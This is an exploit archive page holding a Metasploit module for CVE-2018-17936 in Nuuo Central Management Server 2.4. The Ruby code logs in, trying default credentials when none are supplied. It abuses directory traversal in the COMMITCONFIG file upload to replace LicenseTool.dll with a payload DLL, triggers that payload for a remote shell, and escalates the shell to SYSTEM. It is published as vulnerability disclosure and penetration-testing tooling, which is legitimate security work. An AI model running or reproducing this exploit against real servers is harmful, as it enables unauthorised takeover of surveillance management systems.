exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nuuo Central Management Server 2.4 Authenticated Arbitrary File Upload

Nuuo Central Management Server 2.4 Authenticated Arbitrary File Upload
Posted Feb 20, 2019
Authored by Pedro Ribeiro | Site metasploit.com

The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the CMS Server. The vulnerability is in the FileName parameter, which accepts directory traversal (..\\..\\) characters. Therefore, this function can be abused to overwrite any files in the installation drive of CMS Server. This vulnerability is exploitable in CMS versions up to and including 2.4.

tags | exploit
advisories | CVE-2018-17936
SHA-256 | 6d033ef3029641056b2c16198f8f5b9e4b8492af096081aed986b20a206dd234

Nuuo Central Management Server 2.4 Authenticated Arbitrary File Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::Nuuo

def initialize(info={})
super(update_info(info,
'Name' => "Nuuo Central Management Server Authenticated Arbitrary File Upload",
'Description' => %q{
The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the
CMS Server.
The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\)
characters. Therefore, this function can be abused to overwrite any files in the installation
drive of CMS Server.

This vulnerability is exploitable in CMS versions up to and including v2.4.

This module will either use a provided session number (which can be guessed with an auxiliary
module) or attempt to login using a provided username and password - it will also try the
default credentials if nothing is provided.

This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module
fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will
not execute successfully.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2018-17936' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Nuuo Central Management Server <= v2.4.0', {} ],
],
'Privileged' => true,
'DisclosureDate' => 'Oct 11 2018',
'DefaultTarget' => 0))
end

def on_new_session(client)
if client.type == 'meterpreter'
print_warning('Please wait a bit while we clean up')
client.sys.process.get_processes().each do |proc|
if proc['name'] == 'NCS_Server.exe'
client.sys.process.kill(proc['pid'])
Rex.sleep(5)
client.shell_command_token("move /y #{@dll} LicenseTool.dll")
client.sys.process.execute('NCS_Server.exe')
print_good('Successfully restored LicenseTool.dll!')
end
end

# elevate privs to system (we're already Admin anyway), and we're done!
client.run_cmd('getsystem')
print_good('We should have SYSTEM now, enjoy your shell!')
else
print_error('You are not using meterpreter, so we are unable to restore LicenseTool.dll')
print_error("To restore it, kill the NCS_Server.exe process and copy <CMS_FOLDER>\\#{@dll} to <CMS_FOLDER>\\LicenseTool.dll")
print_error('... otherwise the Nuuo CMS installation will be nuked!')
print_good('Anyway, enjoy your shell!')
end
end

def exploit
nucs_login

unless @nucs_session
fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS')
end

# Download and upload a backup of LicenseTool.dll, so that we can restore it at post
# and not nuke the CMS installation.
@dll = rand_text_alpha(12)
print_status("Backing up LicenseTool.dll to #{@dll}")
dll_data = nucs_download_file('LicenseTool.dll')
nucs_upload_file(@dll, dll_data)

print_status('Uploading payload...')
nucs_upload_file('LicenseTool.dll', generate_payload_dll)

print_status('Sleeping 15 seconds...')
Rex.sleep(15)

print_status('Sending SENDLICFILE request, shell incoming!')
license_data = rand_text_alpha(50..350)
nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic",
'Content-Length: ' + license_data.length.to_s], license_data)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close